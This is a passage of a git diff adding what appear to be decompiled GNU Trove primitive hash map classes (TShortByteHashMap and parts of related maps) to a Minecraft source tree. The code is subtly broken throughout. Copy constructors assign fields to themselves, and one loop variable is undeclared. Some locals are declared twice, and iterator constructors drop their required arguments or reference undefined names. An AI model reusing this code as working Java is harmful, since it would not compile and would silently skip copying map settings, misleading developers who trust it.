+          throw new ConcurrentModificationException();
+        }
+        
+        try
+        {
+          _hash.tempDisableAutoCompaction();
+          removeAt(_index);
+        }
+        finally {
+          _hash.reenableAutoCompaction(false);
+        }
+        
+        _expectedSize -= 1;
+      }
+      
+
+
+
+
+
+      protected final void moveToNextIndex()
+      {
+        if ((this._index = nextIndex()) < 0) {
+          throw new NoSuchElementException();
+        }
+      }
+      
+
+
+
+
+
+
+
+
+
+      protected final int nextIndex()
+      {
+        if (_expectedSize != _hash.size()) {
+          throw new ConcurrentModificationException();
+        }
+        
+        Object[] set = _set;
+        int i = _index;
+        while ((i-- > 0) && ((set[i] == TObjectHash.FREE) || (set[i] == TObjectHash.REMOVED))) {}
+        
+
+        return i;
+      }
+    }
+  }
+  
+  class TObjectShortHashIterator<K>
+    extends TObjectHashIterator<K>
+    implements TObjectShortIterator<K>
+  {
+    private final TObjectShortHashMap<K> _map;
+    
+    public TObjectShortHashIterator()
+    {
+      super();
+      _map = map;
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+
+    public K key()
+    {
+      return _map._set[_index];
+    }
+    
+    public short value()
+    {
+      return _map._values[_index];
+    }
+    
+    public short setValue(short val)
+    {
+      short old = value();
+      _map._values[_index] = val;
+      return old;
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeShort(no_entry_value);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _set.length; i-- > 0;) {
+      if ((_set[i] != REMOVED) && (_set[i] != FREE)) {
+        out.writeObject(_set[i]);
+        out.writeShort(_values[i]);
+      }
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_value = in.readShort();
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0)
+    {
+      K key = in.readObject();
+      short val = in.readShort();
+      put(key, val);
+    }
+  }
+  
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TObjectShortProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(K key, short value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key).append("=").append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TShortByteHashMap.java b/src/minecraft/gnu/trove/map/hash/TShortByteHashMap.java
new file mode 100644
index 0000000..114e42a
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TShortByteHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.impl.hash.TShortByteHash;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.iterator.TShortByteIterator;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.map.TShortByteMap;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TShortByteProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortByteHashMap
+  extends TShortByteHash
+  implements TShortByteMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient byte[] _values;
+  
+  public TShortByteHashMap() {}
+  
+  public TShortByteHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortByteHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TShortByteHashMap(int initialCapacity, float loadFactor, short noEntryKey, byte noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TShortByteHashMap(short[] keys, byte[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TShortByteHashMap(TShortByteMap map)
+  {
+    super(map.size());
+    if ((map instanceof TShortByteHashMap)) {
+      TShortByteHashMap hashmap = (TShortByteHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    short[] oldKeys = _set;
+    byte[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new short[newCapacity];
+    _values = new byte[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        short o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public byte put(short key, byte value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public byte putIfAbsent(short key, byte value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private byte doPut(short key, byte value, int index)
+  {
+    byte previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Short, ? extends Byte> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Short, ? extends Byte> entry : map.entrySet()) {
+      put(((Short)entry.getKey()).shortValue(), ((Byte)entry.getValue()).byteValue());
+    }
+  }
+  
+
+  public void putAll(TShortByteMap map)
+  {
+    ensureCapacity(map.size());
+    TShortByteIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public byte get(short key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public byte remove(short key)
+  {
+    byte prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TShortSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public short[] keys()
+  {
+    short[] keys = new short[size()];
+    short[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public short[] keys(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TByteCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public byte[] values()
+  {
+    byte[] vals = new byte[size()];
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public byte[] values(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(byte val)
+  {
+    byte[] states = _states;
+    byte[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(short key)
+  {
+    return contains(key);
+  }
+  
+
+  public TShortByteIterator iterator()
+  {
+    return new TShortByteHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TShortProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TShortByteProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] keys = _set;
+    byte[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TByteFunction function)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TShortByteProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    short[] keys = _set;
+    byte[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(short key)
+  {
+    return adjustValue(key, (byte)1);
+  }
+  
+
+  public boolean adjustValue(short key, byte amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; byte[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((byte)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public byte adjustOrPutValue(short key, byte adjust_amount, byte put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    byte newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; byte[] tmp25_20 = _values;byte newValue = tmp25_20[tmp25_23] = (byte)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TShortSet
+  {
+    protected TKeyView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TShortByteHashMap.TShortByteKeyHashIterator(TShortByteHashMap.this, TShortByteHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return TShortByteHashMap.this.contains(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!TShortByteHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortByteHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TShortSet)) {
+        return false;
+      }
+      TShortSet that = (TShortSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TByteCollection
+  {
+    protected TValueView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TShortByteHashMap.TShortByteValueHashIterator(TShortByteHashMap.this, TShortByteHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return values();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      byte[] values = _values;
+      short[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortByteHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TShortByteKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TShortByteKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TShortByteValueHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TShortByteValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TShortByteHashIterator
+    extends THashPrimitiveIterator
+    implements TShortByteIterator
+  {
+    TShortByteHashIterator(TShortByteHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public short key()
+    {
+      return _set[_index];
+    }
+    
+    public byte value()
+    {
+      return _values[_index];
+    }
+    
+    public byte setValue(byte val)
+    {
+      byte old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TShortByteMap)) {
+      return false;
+    }
+    TShortByteMap that = (TShortByteMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    byte[] values = _values;
+    byte[] states = _states;
+    byte this_no_entry_value = getNoEntryValue();
+    byte that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        short key = _set[i];
+        byte that_value = that.get(key);
+        byte this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TShortByteProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(short key, byte value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeShort(_set[i]);
+        out.writeByte(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      short key = in.readShort();
+      byte val = in.readByte();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TShortCharHashMap.java b/src/minecraft/gnu/trove/map/hash/TShortCharHashMap.java
new file mode 100644
index 0000000..cc6621c
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TShortCharHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.impl.hash.TShortCharHash;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.iterator.TShortCharIterator;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.map.TShortCharMap;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TShortCharProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortCharHashMap
+  extends TShortCharHash
+  implements TShortCharMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient char[] _values;
+  
+  public TShortCharHashMap() {}
+  
+  public TShortCharHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortCharHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TShortCharHashMap(int initialCapacity, float loadFactor, short noEntryKey, char noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TShortCharHashMap(short[] keys, char[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TShortCharHashMap(TShortCharMap map)
+  {
+    super(map.size());
+    if ((map instanceof TShortCharHashMap)) {
+      TShortCharHashMap hashmap = (TShortCharHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    short[] oldKeys = _set;
+    char[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new short[newCapacity];
+    _values = new char[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        short o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public char put(short key, char value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public char putIfAbsent(short key, char value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private char doPut(short key, char value, int index)
+  {
+    char previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Short, ? extends Character> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Short, ? extends Character> entry : map.entrySet()) {
+      put(((Short)entry.getKey()).shortValue(), ((Character)entry.getValue()).charValue());
+    }
+  }
+  
+
+  public void putAll(TShortCharMap map)
+  {
+    ensureCapacity(map.size());
+    TShortCharIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public char get(short key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
